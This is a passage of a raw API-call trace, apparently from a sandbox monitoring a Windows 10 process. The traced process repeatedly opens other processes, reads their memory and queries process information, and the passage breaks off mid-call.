_Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.978] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0343.978] GetLastError () returned 0x0 [0343.978] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.979] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.979] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.979] malloc (_Size=0x16) returned 0xec95a0 [0343.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec95a0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec95a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.979] free (_Block=0xec95a0) [0343.979] CloseHandle (hObject=0xa9c) returned 1 [0343.980] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0343.980] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0343.980] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.980] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.981] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0343.981] GetLastError () returned 0x0 [0343.981] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.982] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.982] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.982] malloc (_Size=0x7a) returned 0xe88090 [0343.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe88090, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88090*, lpNumberOfBytesRead=0x0) returned 1 [0343.983] free (_Block=0xe88090) [0343.983] CloseHandle (hObject=0xa9c) returned 1 [0343.984] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0343.984] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0343.984] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.984] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.985] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0343.985] GetLastError () returned 0x0 [0343.985] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.990] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.990] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.991] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.991] malloc (_Size=0x5e) returned 0xeb65b0 [0343.991] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb65b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0343.992] free (_Block=0xeb65b0) [0343.992] CloseHandle (hObject=0xa9c) returned 1 [0343.992] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0343.993] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0343.993] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.993] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.994] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0343.994] GetLastError () returned 0x0 [0343.994] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.994] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.994] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.995] malloc (_Size=0x8a) returned 0xec7480 [0343.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7480, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7480*, lpNumberOfBytesRead=0x0) returned 1 [0343.996] free (_Block=0xec7480) [0343.996] CloseHandle (hObject=0xa9c) returned 1 [0343.996] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0343.996] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0343.996] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.996] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.997] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0343.997] GetLastError () returned 0x0 [0343.997] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.997] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.998] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.998] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.999] malloc (_Size=0x88) returned 0xe88360 [0343.999] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe88360, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0343.999] free (_Block=0xe88360) [0343.999] CloseHandle (hObject=0xa9c) returned 1 [0343.999] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0344.000] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0344.000] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.000] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.001] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0344.001] GetLastError () returned 0x0 [0344.001] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.006] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.006] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.006] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.006] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.006] malloc (_Size=0x68) returned 0xeb6230 [0344.006] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6230, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0344.007] free (_Block=0xeb6230) [0344.007] CloseHandle (hObject=0xa9c) returned 1 [0344.007] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0344.007] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0344.007] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.007] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.008] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0344.008] GetLastError () returned 0x0 [0344.008] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.008] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.009] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.009] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.010] malloc (_Size=0x6c) returned 0xea8ca0 [0344.010] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea8ca0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0344.010] free (_Block=0xea8ca0) [0344.010] CloseHandle (hObject=0xa9c) returned 1 [0344.010] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0344.011] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0344.011] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.011] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.012] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0344.012] CloseHandle (hObject=0x0) returned 0 [0344.012] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0344.012] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0344.012] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.012] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.013] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0344.013] GetLastError () returned 0x0 [0344.013] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.013] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.013] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.013] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.014] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.014] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.014] malloc (_Size=0x8a) returned 0xec7e80 [0344.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7e80, nSize=0x88, lpNumberOfBytesRead=0x0 | out: 